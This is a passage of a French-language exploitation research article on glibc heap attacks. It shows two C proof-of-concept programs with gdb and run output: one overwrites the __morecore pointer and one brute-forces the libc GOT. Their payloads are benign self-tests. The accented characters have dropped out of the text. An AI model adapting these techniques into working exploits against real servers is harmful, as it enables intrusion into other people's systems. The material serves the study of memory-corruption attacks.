adresses de la forme 0x4....... est suffisant dans notre but). Nous pouvons
supposer que ces paires d'adresses que nous avons trouves sont une part
d'un chunk libre qui est le seul accroch  un bin, nous savons que a
ressemble ...

   taille | fd | bk

A quel point est-il simple de trouver un chunk seul dans l'imensit du heap ?
D'abord, cela dpend du scnario de l'exploitation de l'agencement du heap
du processus cible. Par exemple, lorsqu'on exploite le bug OpenSSL sur
diffrentes cibles, nous pourrions toujours trouver au moins un chunk isol
dans la mmoire fuyante du heap.
Ensuite, il y a un autre scnario dans lequel nous serons capables de
localiser un bin malloc, mme sans la capacit de trouver un chunk seul. Si
nous sommes en mesure de trouver le premier ou le dernier chunk d'un bin,
l'un de ses pointeurs rfrencera une adresse dans main_arena, alors que
l'autre pointera vers un autre chunk libre dans le heap du processus. Donc,
nous chercherons aprs des paires de pointeurs valides comme ceux-ci :

   [ ptr_2_libc's_memory | ptr_2_process'_heap ]

   ou

   [ ptr_2_process'_heap | ptr_2_libc's_memory ]

Nous devons prendre en compte que cette heuristique ne sera pas aussi
prcise que chercher aprs une paire de pointeurs gaux pointant vers des
adresses de l'espace libc, mais comme nous l'avons dj dit, il est
possible de croiser les vrifications entre plusieurs chunks possibles.
Finalement, nous devons nous souvenir que ceci dpend totalement de la
faon dont abusons le processus pour lire sa mmoire. Dans le cas o nous
pouvons lire arbitrairement les adresses de la mmoire, ce n'est pas un
problme, le problme devient plus difficile ds que notre mcanisme pour
rcuprer la mmoire distante est limit.

--] 4.5.2 Morecore

Ici, nous montrons comment trouver un pointeur sur fonction dans la libc
aprs avoir obtenu l' adresse d'un bin malloc, en utilisant l'un des
mcanismes expliqus avant.

En utilisant le champ taille de l'en-tte du chunk rcupret la macro
bin_index() ou smallbin_index() nous obtenons l'adresse exacte du
main_arena. Nous pouvons croiser les checks entre plusieurs chunk supposs
seuls que l'adresse de main_arena est la bonne, selon la quantit de paires
de chunks seuls nous serons plus srs. Aussi longtemps que le processus ne
crash pas, nous pourrions rcuprer de la mmoire du heap plusieurs fois,
car main_arena ne changera pas de place. De plus, je pense qu'il ne serait
pas faux de supposer que main_arena est situ  la  mme adresse dans
diffrants processus (ceci dpend de l'adresse  laquelle la libc est
mappe). Ceci pourrait mme tre vrai pour diffrents processus serveurs,
nous autorisant  rcuprer le main_arena au travers d'une fuite dans un
processus diffrent de celui que l'on exploite.

__morecore est situ juste 32 octets avant &main_arena[0].

Void_t *(*__morecore)() = __default_morecore;

MORECORE() est le nom de la fonction qui est appele au travers du code de
malloc pour obtenir plus de mmoire du systme d'exploiation, elle fait
dfaut  sbrk().

Void_t * __default_morecore ();
Void_t *(*__morecore)() = __default_morecore;
#define MORECORE (*__morecore)

Le dsassemblage suivant montre comment MORECORE est appele depuis le code
de chunk_alloc(), un appel indirect  __default_morecore est effectu par
dfaut :

<chunk_alloc+1468>:  mov    0x64c(%ebx),%eax
<chunk_alloc+1474>:  sub    $0xc,%esp
<chunk_alloc+1477>:  push   %esi
<chunk_alloc+1478>:  call   *(%eax)

where $eax points to __default_morecore

(gdb) x/x $eax
0x4212df80 <__morecore>:   0x4207e034

(gdb) x/4i 0x4207e034
0x4207e034 <__default_morecore>: push   %ebp
0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp
0x4207e037 <__default_morecore+3>:  push   %ebx
0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp


MORECORE() est appele depuis l'algorithme de malloc() pour tendre le haut
de la mmoire, en demandant au systme d'exploitation via la sbrk.

MORECORE() est appele deux fois depuis malloc_extend_top()

    brk = (char*)(MORECORE (sbrk_size));
    ...
    /* Allocate correction */
    new_brk = (char*)(MORECORE (correction));

qui est appele par chunk_alloc() :

    /* Try to extend */
    malloc_extend_top(ar_ptr, nb);

MORECORE est galement appele par main_trim et top_chunk().


Nous avons juste besoin de nous asseoir et d'attendre jusqu' ce que le
code atteigne l'un de ces points. Dans certains cas il peut tre ncessaire
d'arranger les choses pour viter que le code ne crashe avant.
Le pointeur sur fonction morecore est appel chaque fois que le heap a
besoin d'tre tendu, donc forcer le processus  allouer beaucoup de
mmoire est recommand aprs avoir rcrit le pointeur.
Dans le cas o nous ne pouvons pas viter un crash avant d'avoir pris le
contrle du processus, il n'y a aucun problme ( moins que le serveur ne
meure compltement), car nous pouvons esprer que la libc soit mappe  la
mme adresse dans la plupart des cas.

--] 5.5.2.1 Preuve de concept 5 : jumper avec morecore

Le code suivant montre juste comment obtenir l'information requise d'un
chunk libre, calcule l'adresse de __morecore et force un appel  MORECORE()
aprs l'avoir rcrit.

[jp@vaiolator heapy]$ ./heapy
(-) lonely chunk was freed, gathering information...
   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
   (!) the chunk is in bin number 64
   (!) &main_arena[0] @ 0x4212DFA0
   (!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...
Segmentation fault

Regardons ce qui s'est pass avec gdb, nous utiliserons galement un simple
malloc modifi sous la forme d'une librairie partage pour savoir ce qui se
passe dans les structures internes de malloc.

[jp@vaiolator heapy]$ gdb heapy
GNU gdb Red Hat Linux (5.2-2)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/jp/cerebro//heapy/morecore
(-) lonely chunk was freed, gathering information...
   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
   (!) the chunk is in bin number 64
   (!) &main_arena[0] @ 0x4212DFA0
   (!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Jetons un oeuil  la sortie pas  pas :

D'abord nous allouons notre chunk isol :
    chunk = (unsigned int*)malloc(CHUNK_SIZE);
(gdb) x/8x chunk-1
0x80499d4:  0x00000209  0x00000000  0x00000000  0x00000000
0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000

Notez que nous appelons encore malloc() avec un autre pointeur, laissant ce
pointeur auxiliaire tre le chunk suivant le top_chunk... Pour viter les
diffrences dans la faon dont c'est manipul [handled] lorsque libr avec
notre but (souvenez-vous que dans ce cas spcial le chunk serait uni avec
le top_chunk sans tre li  aucun bin) :

        aux = (unsigned int*)malloc(0x0);

[1422] MALLOC(512) - CHUNK_ALLOC(0x40019bc0,520)
   - returning 0x8049a18 from top_chunk
   - new top 0x8049c20 size 993
[1422] MALLOC(0)   - CHUNK_ALLOC(0x40019bc0,16)
   - returning 0x8049c20 from top_chunk
   - new top 0x8049c30 size 977

C'est  ceci que ressemble le heap  partir de maintenant...

--- HEAP DUMP ---
                ADDRESS SIZE       FLAGS
sbrk_base   0x80499f8
chunk       0x80499f8 33(0x21)   (inuse)
chunk       0x8049a18 521(0x209) (inuse)
chunk       0x8049c20 17(0x11)   (inuse)
chunk       0x8049c30 977(0x3d1) (top)
sbrk_end    0x804a000

--- HEAP LAYOUT ---
|A||A||A||T|

--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30

Aucun bin n'existe  prsent, ils sont compltement vides.

Aprs ceci nous le librons :

   free(chunk);

[1422] FREE(0x8049a20) - CHUNK_FREE(0x40019bc0,0x8049a18)
   - fronlink(0x8049a18,520,64,0x40019dc0,0x40019dc0)
   - new free chunk

(gdb) x/8x chunk-1
0x80499d4:  0x00000209  0x4212e1a0  0x4212e1a0  0x00000000
0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000

Le chunk a t libr et insr dans un bin... Qui tait vide car c'tait
le premier chunk libr. Donc c'est un "chunk isol", le seul chunk dans un
bin.
Ici nous voyons bk et fd pointer vers la mme adresse dans la mmoire de
libc, voyons  quoi ressemble  prsent le main_arena :

0x4212dfa0 <main_arena>:   0x00000000  0x00010000  0x08049be8  0x4212dfa0
0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0  0x4212dfb0
0x4212dfc0 <main_arena+32>:   0x4212dfb8  0x4212dfb8  0x4212dfc0  0x4212dfc0
0x4212dfd0 <main_arena+48>:   0x4212dfc8  0x4212dfc8  0x4212dfd0  0x4212dfd0
0x4212dfe0 <main_arena+64>:   0x4212dfd8  0x4212dfd8  0x4212dfe0  0x4212dfe0
0x4212dff0 <main_arena+80>:   0x4212dfe8  0x4212dfe8  0x4212dff0  0x4212dff0
0x4212e000 <main_arena+96>:   0x4212dff8  0x4212dff8  0x4212e000  0x4212e000
0x4212e010 <main_arena+112>:  0x4212e008  0x4212e008  0x4212e010  0x4212e010
0x4212e020 <main_arena+128>:  0x4212e018  0x4212e018  0x4212e020  0x4212e020
0x4212e030 <main_arena+144>:  0x4212e028  0x4212e028  0x4212e030  0x4212e030
...
...
0x4212e180 <main_arena+480>:  0x4212e178  0x4212e178  0x4212e180  0x4212e180
0x4212e190 <main_arena+496>:  0x4212e188  0x4212e188  0x4212e190  0x4212e190
0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0  0x080499d0
0x4212e1b0 <main_arena+528>:  0x4212e1a8  0x4212e1a8  0x4212e1b0  0x4212e1b0
0x4212e1c0 <main_arena+544>:  0x4212e1b8  0x4212e1b8  0x4212e1c0  0x4212e1c0

Notez le main_arena tout juste initialis avec tous ses bins pointant sur
eux-mmes, et le chunk libre tout juste ajout vers un des bins...

(gdb) x/4x 0x4212e1a0
0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0
0x080499d0

En plus, les deux pointeurs se rfrent  notre chunk isol.

Jetons un oeuil au heap  cet instant :

--- HEAP DUMP ---
                ADDRESS   SIZE       FLAGS
sbrk_base   0x80499f8
chunk       0x80499f8 33(0x21)   (inuse)
chunk       0x8049a18 521(0x209) (free)      fd = 0x40019dc0 | bk = 0x40019dc0
chunk       0x8049c20 16(0x10)   (inuse)
chunk       0x8049c30 977(0x3d1) (top)
sbrk end    0x804a000

--- HEAP LAYOUT ---
|A||64||A||T|

--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30
   bin -> 64 (0x40019dc0)
      free_chunk 0x8049a18 - size 520

En utilisant la taille connue de notre chunk, nous savons dans quel bin il
a t plac, donc nous pouvons obtenir l'adresse de main_arena et,
finalement, __morecore.

(gdb) x/16x 0x4212dfa0-0x20
0x4212df80 <__morecore>:   0x4207e034  0x00000000  0x00000000  0x00000000
0x4212df90 <__morecore+16>:   0x00000000  0x00000000  0x00000000  0x00000000
0x4212dfa0 <main_arena>:   0x00000000  0x00010000  0x08049be8  0x4212dfa0
0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0 0x4212dfb0

Ici, par dfaut, __morecore popinte vers __default_morecore :

(gdb) x/20i __morecore
0x4207e034 <__default_morecore>: push   %ebp
0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp
0x4207e037 <__default_morecore+3>:  push   %ebx
0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp
0x4207e03b <__default_morecore+7>:  call   0x4207e030 <memalign_hook_ini+64>
0x4207e040 <__default_morecore+12>: add    $0xb22cc,%ebx
0x4207e046 <__default_morecore+18>: mov    0x8(%ebp),%eax
0x4207e049 <__default_morecore+21>: push   %eax
0x4207e04a <__default_morecore+22>: call   0x4201722c <_r_debug+33569648>
0x4207e04f <__default_morecore+27>: mov    0xfffffffc(%ebp),%ebx
0x4207e052 <__default_morecore+30>: mov    %eax,%edx
0x4207e054 <__default_morecore+32>: add    $0x10,%esp
0x4207e057 <__default_morecore+35>: xor    %eax,%eax
0x4207e059 <__default_morecore+37>: cmp    $0xffffffff,%edx
0x4207e05c <__default_morecore+40>: cmovne %edx,%eax
0x4207e05f <__default_morecore+43>: mov    %ebp,%esp
0x4207e061 <__default_morecore+45>: pop    %ebp
0x4207e062 <__default_morecore+46>: ret
0x4207e063 <__default_morecore+47>: lea    0x0(%esi),%esi
0x4207e069 <__default_morecore+53>: lea    0x0(%edi,1),%edi

Pour conclure, nous rcrivons __morecore avec une fausse adresse, et
forons malloc  appeler __morecore :

   *(unsigned int*)morecore = 0x41414141;
   chunk=(unsigned int*)malloc(CHUNK_SIZE*4);

[1422] MALLOC(2048) - CHUNK_ALLOC(0x40019bc0,2056)
   - extending top chunk
   - previous size 976

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) bt
#0  0x41414141 in ?? ()
#1  0x4207a148 in malloc () from /lib/i686/libc.so.6
#2  0x0804869d in main (argc=1, argv=0xbffffad4) at heapy.c:52
#3  0x42017589 in __libc_start_main () from /lib/i686/libc.so.6

(gdb) frame 1
#1  0x4207a148 in malloc () from /lib/i686/libc.so.6
(gdb) x/i $pc-0x5
0x4207a143 <malloc+195>:   call   0x4207a2f0 <chunk_alloc>
(gdb) disass chunk_alloc
Dump of assembler code for function chunk_alloc:
...
0x4207a8ac <chunk_alloc+1468>:   mov    0x64c(%ebx),%eax
0x4207a8b2 <chunk_alloc+1474>:   sub    $0xc,%esp
0x4207a8b5 <chunk_alloc+1477>:   push   %esi
0x4207a8b6 <chunk_alloc+1478>:   call   *(%eax)

A ce point nous voyons chunk_alloc tentant de jumper vers __morecore

(gdb) x/x $eax
0x4212df80 <__morecore>:   0x41414141

#include <stdio.h>
#include <stdlib.h>

/* some malloc code... */
#define MAX_SMALLBIN         63
#define MAX_SMALLBIN_SIZE   512
#define SMALLBIN_WIDTH        8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3)
#define bin_index(sz)                           \
 (((((unsigned long)(sz)) >> 9) ==   0) ?       (((unsigned long)(sz)) >>  3):\
 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  6):\
 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  9):\
 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 12):\
 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 15):\
 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
                                          126)

#define SIZE_MASK 0x3
#define CHUNK_SIZE 0x200

int main(int argc, char *argv[]){

        unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore;
        chunk = (unsigned int*)malloc(CHUNK_SIZE);
        aux = (unsigned int*)malloc(0x0);

        free(chunk);
        printf("(-) lonely chunk was freed, gathering information...\n");

        sz = chunk[-1] & ~SIZE_MASK;
        fd = chunk[0];
        bk = chunk[1];

        if(bk==fd) printf("\t(!) sz = %u - bk = 0x%X - fd = 0x%X\n",sz,bk,fd);
        else printf("\t(X) bk != fd ...\n"),exit(-1);

        bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz);
        printf("\t(!) the chunk is in bin number %d\n",bin);

        arena = bk-bin*2*sizeof(void*);
        printf("\t(!) &main_arena[0] @ 0x%X\n",arena);

        morecore = arena-32;
        printf("\t(!) __morecore @ 0x%X\n",morecore);

        printf("(-) overwriting __morecore...\n");
        *(unsigned int*)morecore = 0x41414141;

        printf("(-) forcing a call to MORECORE()...\n");
        chunk=(unsigned int*)malloc(CHUNK_SIZE*4);

        return 7;
}

Cette technique fonctionne mme lorsque le processus est charg dans un
espace d'adressage randomiz, car l'adresse du pointeur sur fonction est
collecte en runtime depuis le processus cibl. Le mcanisme est
entirement gnrique, car chaque processus li  la glibc peut tre
exploit de cette manire.
De plus, nous n'avons besoin d'aucun bruteforcing, car juste un essai est
suffisant pour exploiter le processus.
D'un autre ct, cette technique n'est plus utile dans les nouvelles libc,
i.e. 2.2.93,  cause du changement qu' rencontr le code de malloc. Une
nouvelle approche est suggre plus loin pour aider  l'exploitation de ces
versions de libc.
L'ide de morecore a t teste avec succs sur diffrentes versions de
glibc et installations par dfaut de ditributions GNU/Linux : Debian 2.2r0,
Mandrake 8.1, Mandrake 8.2, Redhat 6.1, Redhat 6.2, Redhat 7.0, Redhat 7.2,
Redhat 7.3 and Slackware 2.2.19 (libc-2.2.3.so).
Un code d'exploit utilisant ce trick peut expoiter les serveurs
OpenSSL/Apache sans aucune adresse code en dur dans au moins les
distributions par dfaut mentionnes ci-dessus.

--] 4.5.3 Force brute sur le GOT de la libc

Au cas o le trick morecore ne fonctionne pas (nous pouvons essayer, car
cela ne requiert qu'un seul essai), signifiant probablement que notre cible
utilise une nouvelle libc, nous avons toujours obtenu l'adresse du bin de
la glibc. Nous savons que que plus haut cette mthode va localiser le GOT
de la glibc.
Nous avons juste besoin de bruteforcer vers le haut et jusqu' ce que nous
touchions l'entre d'une fonction libc sur le point d'tre appele. Ce
mcanisme de force brute peut prendre du temps, mais pas autant qu'il n'en
serait ncessaire pour bruteforcer le GOT de l'objet principal (au cas o
nous aurions obtenu une adresse aproximative par quelque moyen).
Pour acclrer le processus, le point de dpart du brute forcing devrait
tre obtenu en ajustant l'adresse du bin rcupre avec une valeur
fixe. Cette valeur devrait tre suffisante pour viter de corrompre
l'arne pour empcher de crasher le processus. De plus, le bruteforcing
peut tre effectu en utilisant une taille de pas plus grande que
un. Utiliser un pas plus grand ncessitera moins d'essais, mais peut
risquer de manquer le GOT. La taille du pas devrait tre calcule en
considrant la taille du GOT et le nombre d'accs aux entres GOT entre
chaque essai (si un nombre plus grand de GOT sont utiliss, la probabilit
de modifier une entre qui est sur le point d'tre accde est grande).
Aprs chaque essai, il est important de forcer le serveur  effectuer
autant d'actions que possible, de faon  le faire appeler beaucoups
d'appels libc donc la probabilit d'utiliser les entres GOT qui ont t
rcrites est plus lve.

Notez que le mcanisme de force brute pourrait crasher le processus de
diffrentes manires, car il corrompt les donnes de la libc.

Comme nous avons obtenu l'adresse en runtime, nous pouvons tre srs que
nous sommes bien en train de brutefocer le bon endroit, mme si la cible
randomize l'espace d'adressage du processus / de la lib, et que nous
finirons par toucher une entre GOT.
Dans un scnario d'adresse de chargement randomiz, nous aurons besoin de
toucher une entre GOT avant que le processus ne crashe pour exploiter
l'adresse bin obtenue s'il n'y a aucune relation entre les adresses de
chargement dans le processus crash (celui dont nous avons obtenu l'adresse
du bin) et le nouveau processus portant notre nouvelle requte (i.e. des
processus forks pourraient hriter de l'agencement de la mmoire du pre
dans certaines implmentations de randomization). Cependant, le mcanisme
de force brute peut prendre en compte les offsets dj essays une fois
qu'il a obtenu l'adresse du nouveau bin, car l'offset relatif ente le bin
et le GOT est constant.

De plus, cette technique s'applique  tout processus link  la glibc.
Notez que nous pourrions tre capables d'exploiter un serveur en
bruteforant des pointeurs sur fonctions spcifiques (i.e. situs dans des
structures comme les tampons de sortie rseau), mais cette approche est
plus gnrique.

L'ide du bruteforcing du GOT de la libc a t test avec succs sur les
installations par dfaut de la RedHat 8.0, RedHat 7.2 et RedHat 7.1.
Le code de l'exploit bruteforant le GOT de la libc peut exploiter les
serveurs CVS vulnrables sans aucune adresse code endur dans au moins les
ditributions par dfaut mentionnes ci-dessus.

--] 4.5.3.1 Preuve de concept 6 : force brute sur le GOT de la libc sous-entendue

Le code suivant se brute force lui-mme. Le processus tente de se trouver
lui-mme, pour finalement terminer dans une inutile boucle infinie.

#include <stdio.h>
#include <fcntl.h>

#define ADJUST          0x200
#define STEP            0x2

#define LOOP_SC         "\xeb\xfe"
#define LOOP_SZ         2
#define SC_SZ           512
#define OUTPUT_SZ       64 * 1024

#define SOMEOFFSET(x)   11 + (rand() % ((x)-1-11))
#define SOMECHUNKSZ     32 + (rand() % 512)

#define PREV_INUSE      1
#define IS_MMAP         2
#define NON_MAIN_ARENA  4

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long 
                               where,unsigned long sz){
   unsigned long *unlinkMe;
   int i=0;

   if(sz<13) sz = 13;
   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<sz;i++)
      if(i%2)
         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
      else
         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

   free(unlinkMe+SOMEOFFSET(sz));
   return unlinkMe;
}

/* juste forcer des appels  des fonctions libc entre chaque itration de
force brute */
void do_little(void){
   int w,r;
   char buf[256];
   sleep(0);
   w = open("/dev/null",O_WRONLY);
   r = open("/dev/urandom",O_RDONLY);
   read(r,buf,sizeof(buf));
   write(w,buf,sizeof(buf));
   close(r);
   close(w);
   return;
}

int main(int argc, char **argv){
   unsigned long *output,*bin=0;
   unsigned long i=0,sz;
   char *sc,*p;
   unsigned long *start=0;

   printf("\n## HINTED LIBC GOT BRUTEFORCING PoC ##\n\n");

   sc = (char*) malloc(SC_SZ * LOOP_SZ);
   printf("(-) %d bytes shellcode @ %p\n",SC_SZ,sc);
   p = sc;
   for(p=sc;p+LOOP_SZ<sc+SC_SZ;p+=LOOP_SZ)
      memcpy(p,LOOP_SC,LOOP_SZ);


   printf("(-) forcing bin address disclosure... ");
   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4,OUTPUT_SZ);
   for(i=0;i<OUTPUT_SZ-1;i++)
      if(output[i] == output[i+1] &&
            ((output[i] & 0xffff0000) != 0xffff0000) ) {
         bin = (unsigned long*)output[i];
         printf("%p\n",bin);
         start = bin - ADJUST;
      }
   if(!bin){
      printf("failed\n");
      return 0;
   }

   if(argv[1]) i = strtoll(argv[1], (char **)NULL,0);
   else        i = 0;

   printf("(-) starting libc GOT bruteforcing @ %p\n",start);
   for(;;i++){
      sz = SOMECHUNKSZ;
      printf("  try #%.2d  writing %p at %p using %6d bytes chunk\n",
             i,sc,start-(i*STEP),s*sizeof(unsigned long));
      aa4bmoPrimitive((unsigned long)sc,(unsigned long)(start-(i*STEP)),sz);
      do_little();
   }

   printf("I'm not here, this is not happening\n");
}

Voyons ce qui se produit :

$ ./got_bf

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #00  writing 0x8049cb0 at 0x4212a9dc using   1944 bytes chunk
  try #01  writing 0x8049cb0 at 0x4212a9d4 using    588 bytes chunk
  try #02  writing 0x8049cb0 at 0x4212a9cc using   1148 bytes chunk
  try #03  writing 0x8049cb0 at 0x4212a9c4 using   1072 bytes chunk
  try #04  writing 0x8049cb0 at 0x4212a9bc using    948 bytes chunk
  try #05  writing 0x8049cb0 at 0x4212a9b4 using   1836 bytes chunk
  ...
  try #140  writing 0x8049cb0 at 0x4212a57c using   1416 bytes chunk
  try #141  writing 0x8049cb0 at 0x4212a574 using    152 bytes chunk
  try #142  writing 0x8049cb0 at 0x4212a56c using    332 bytes chunk
Segmentation fault

Nous avons obtenu 142 essais conscutifs sans crash en utilisant des
chunks de taille alatoire. Nous lanons encore notre code, en commenant
cette fois par l'essai 143, notez que le programme obtient encore l'adresse
de brutefocring de base.

$ ./got_bf 143

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #143  writing 0x8049cb0 at 0x4212a564 using   1944 bytes chunk
  try #144  writing 0x8049cb0 at 0x4212a55c using    588 bytes chunk
  try #145  writing 0x8049cb0 at 0x4212a554 using   1148 bytes chunk
  try #146  writing 0x8049cb0 at 0x4212a54c using   1072 bytes chunk
  try #147  writing 0x8049cb0 at 0x4212a544 using    948 bytes chunk
  try #148  writing 0x8049cb0 at 0x4212a53c using   1836 bytes chunk
  try #149  writing 0x8049cb0 at 0x4212a534 using   1132 bytes chunk
  try #150  writing 0x8049cb0 at 0x4212a52c using   1432 bytes chunk
  try #151  writing 0x8049cb0 at 0x4212a524 using    904 bytes chunk
  try #152  writing 0x8049cb0 at 0x4212a51c using   2144 bytes chunk
  try #153  writing 0x8049cb0 at 0x4212a514 using   2080 bytes chunk
Segmentation fault

Ca a crash plus rapidement... Probablement avons-nous corrompu des donnes
libc, ou avons-nous touch le GOT...

$ ./got_bf 154

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #154  writing 0x8049cb0 at 0x4212a50c using   1944 bytes chunk
Segmentation fault

$ ./got_bf 155

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #155  writing 0x8049cb0 at 0x4212a504 using   1944 bytes chunk
  try #156  writing 0x8049cb0 at 0x4212a4fc using    588 bytes chunk
  try #157  writing 0x8049cb0 at 0x4212a4f4 using   1148 bytes chunk
Segmentation fault

$ ./got_bf 158

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #158  writing 0x8049cb0 at 0x4212a4ec using   1944 bytes chunk
  ...
  try #179  writing 0x8049cb0 at 0x4212a444 using   1244 bytes chunk
Segmentation fault

$ ./got_bf 180

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #180  writing 0x8049cb0 at 0x4212a43c using   1944 bytes chunk
  try #181  writing 0x8049cb0 at 0x4212a434 using    588 bytes chunk
  try #182  writing 0x8049cb0 at 0x4212a42c using   1148 bytes chunk
  try #183  writing 0x8049cb0 at 0x4212a424 using   1072 bytes chunk
Segmentation fault

$ ./got_bf 183

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #183  writing 0x8049cb0 at 0x4212a424 using   1944 bytes chunk
  try #184  writing 0x8049cb0 at 0x4212a41c using    588 bytes chunk
  try #185  writing 0x8049cb0 at 0x4212a414 using   1148 bytes chunk
  try #186  writing 0x8049cb0 at 0x4212a40c using   1072 bytes chunk
  try #187  writing 0x8049cb0 at 0x4212a404 using    948 bytes chunk
  try #188  writing 0x8049cb0 at 0x4212a3fc using   1836 bytes chunk
  try #189  writing 0x8049cb0 at 0x4212a3f4 using   1132 bytes chunk
  try #190  writing 0x8049cb0 at 0x4212a3ec using   1432 bytes chunk

Finalement, le shellcode de boucle est excut... Nous avons eu besoin de 5
crashes, en allant de 8 en 8  chaque fois. Jouer avec les valeurs de
STEPet ADJUST, ainsi que la fonction do_little donnera des rsultats
diffrants.

--] 4.5.4 Fingrprinting de la libc

Avoir une adresse de bin nous permet de reconnatre la version de libc
attaque.
Nous avons juste besoin de construire une base de donnes avec diffrentes
libcs de diffrentes distributions pour retrouver l'adresse bin et le
numro de bin obtenus.
Connatre exactement quelle est la libc que le processus cible a charge
nous donne l'adresse absolue exacte de tous les endroits dans la libc,
comme : les pointeurs sur fonction, les structures internes, les flags,
etc. Cette information peut tre maltrate [abused] pour construire
plusieurs attaques dans diffrents scnarii, i.e. connatre la localisation
des fonctions et des chanes permet de ruser facilement le retour dans les
attaques de la libc [14].

A part ceci, connate la version de la libc nous permet de connatre sous
quelle distribution de GNU/Linux tourne le host cible. Ceci pourrat
permettre une exploitation plus avance dans le cas o nous ne sommes pas
en mesure d'exploiter le bug (celui que nous utilisons pour fuiter
l'adresse du bin) pour executer du code.

--] 4.5.5 Corruption de la zone (haut, dernier reste et modification du binaire)

Depuis l'adresse main_arena prcedemment collecte, nous connaissons la
localisation de n'importe quel bin, incluant le top chunk et le last
remainder chunk.
Corrompre l'un de ces pointeurs modifiera compltement le comportement de
l'allocateur. A prsent, je n'ai aucun code pour le confirmer, mais il y a
ici beaucoup de possibilits ouvertes pour la recherche, car un(e)
attaquant(e) pourrait tre capable de rediriger un bin entier dans ses
propres entres fournies.

---------------------------------------------------------------------------
--] 4.6 Copier le shellcode " la main"

Un autre trick qui permet  l'attaquant(e) de connate la localisation
exacte du shellcode inject est de copier le shellcode  une adresse fixe
en utilisant la primitive aa4bmo.
Comme nous ne pouvons crire aucune valeur, nous avons besoin d'utiliser
des critures non-alignes pour crer le shellcode dans la mmoire, en
crivant 1 ou 2 octets  chaque fois.
Nous avons besoin d'tre capables de copier le shellcode entier avant que
le serveur ne crashe pour utiliser cette technique.

---------------------------------------------------------------------------
--] 5 Conclusions

Les failles bases sur malloc fournissent une norme opportunit pour
l'exploitation totalement automatique.
La capacit de transformer la primitive aa4bmo en une primitive de fuite de
mmoire permet  l'attaquant(e) d'exploiter le processus sans aucune
connaissance a priori, mme en prsence d'un plan de randomization de
l'agencement de la mmoire.

    [ Note des diteurs : il est venu  notre attention que la technique
      dcrite pourrait ne pas fonctionner pour la srie glibc 2.3 ]

---------------------------------------------------------------------------
--] 6 Remerciements

J'aimerais remercier beaucoup de gens : 8a, beto, gera, zb0, raddy, juliano,
